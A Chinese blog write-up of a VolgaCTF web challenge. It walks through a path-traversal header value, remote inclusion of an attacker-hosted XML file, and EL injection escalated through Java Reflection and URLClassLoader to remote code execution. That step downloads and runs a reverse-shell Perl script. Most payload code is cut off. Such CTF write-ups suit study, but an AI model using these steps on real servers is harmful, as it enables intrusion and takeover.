回到家看到 CRAX Team 在玩 VolgaCTF 就順手玩了一下!
解這題的時候順便讓我練習到了之前就想好好惡補一下的 EL 注入(Expression Language Injection) ,最後花了滿多時間再用 Java 的 Reflection API 來找到可利用的地方,網址點開為一個類似 Twitter 的個人留言板服務
註冊登入後長得如下,共有新增留言、設定、個人首頁、登出的功能
接下來就是開始找尋漏洞的時候,找的方法不外乎那些XD 最後是發現在設定的地方有個可以讓使用者自行指定布景 (header)的功能
使用 Tamper Data 對我們送出的資訊進行截取:
可以發現,送出的資料中 header 的部分是一個檔案路徑的形式存在
./headers/bar.xhtml
網站透過這個功能去引用自己的 template 以達到使用者自定布景主題的效果,因此我們來試試看,將 header 設為 ../../../../../etc/passwd
看會出現什麼事情?
網站死掉了…
任何功能都無法操作,只能把 Cookie 清空再註冊一個帳號嘗試,之後的步驟都是這樣,只要一個地方出錯就要重新註冊一個帳號重來一次XD
這點滿麻煩的,不過多少達到讓駭客覺得麻煩防駭客的效果XD
不過從錯誤資訊可以看到,網站使用了 <ui:include src="...">
的方式引入檔案,所以透過這個功能我們可以引入伺服器上的任意檔案(但是只限定於 html, xml 格式,不然再處理時會出錯一樣無法看到檔案內容)
雖然有格式限制,但我們可以嘗試引入網站 Java Servlet 的設定檔 WEB-INF/web.xml
來讀取一些設定
現在已經定位了漏洞的地方了,接下來是如何的利用?
發現,在引入的時候不只可以引入本地檔案,也可以利用 http://yourhome/foo.xml 的方式引入外部 html 或者 xml,但是只是引入 html 或者 xml 有什麼用呢?
在許多 Java Servlet 裏面(如 Struts, Spring Framework GlassFish etc…)我們可以使用一種叫做 EL 的語言,EL 本意是用來降低後端程式跟前端的困擾,讓兩者出來的程式可以更快速地結合
使用的方式是使用 ${...EL...}
這樣的方式執行,所以我們將 header 設為自己伺服器上的檔案 http://yourhome.com/evil.xml
,並將 evil.xml 內容設定為
1 | <f:view xmlns:f="http://java.sun.com/jsf/core" xmlns:h="http://java.sun.com/jsf/html" > |
可以看到 300*1+1
有確實的被執行到變成 301
惹,再用 applicationScope 查看一下伺服器設定:
1 | <f:view xmlns:f="http://java.sun.com/jsf/core" xmlns:h="http://java.sun.com/jsf/html" > |
可以查看一些敏感資訊,最後是執行指令的部分。 EL 有對於一些危險指令做了一些限制,不過這些限制是可以繞過,相關 paper 可以參考 Remote Code with Expression Language Injection
內文中使用 Java Reflection API 的方式拿到 URLClassLoader 去讀取自己所寫好惡意的Java class 檔案,但是伺服器上的環境似乎跟 Paper 不太相同,所以不能直接使用上面的攻擊代碼,必須小改一下!
伺服器上似乎沒有 pageContext 這個全域變數,所以無法透過它去取得 ServletContext 的 class,所以那時候就在慢慢踹,對其他已知的全域變數用 Relfection API 想辦法拿到ServletContext 這個 class
最後發現可以改用 session.getServletContext(),因此改寫上面的攻擊代碼成:
Malicious.class
要放上你要執行的 Java 程式,我這裡放的是從自己的 server 上下載反連的 perl script,並且執行
結果如下
FLAG W0W_S0_J@V@_SUCH_EL_V3RY_RCE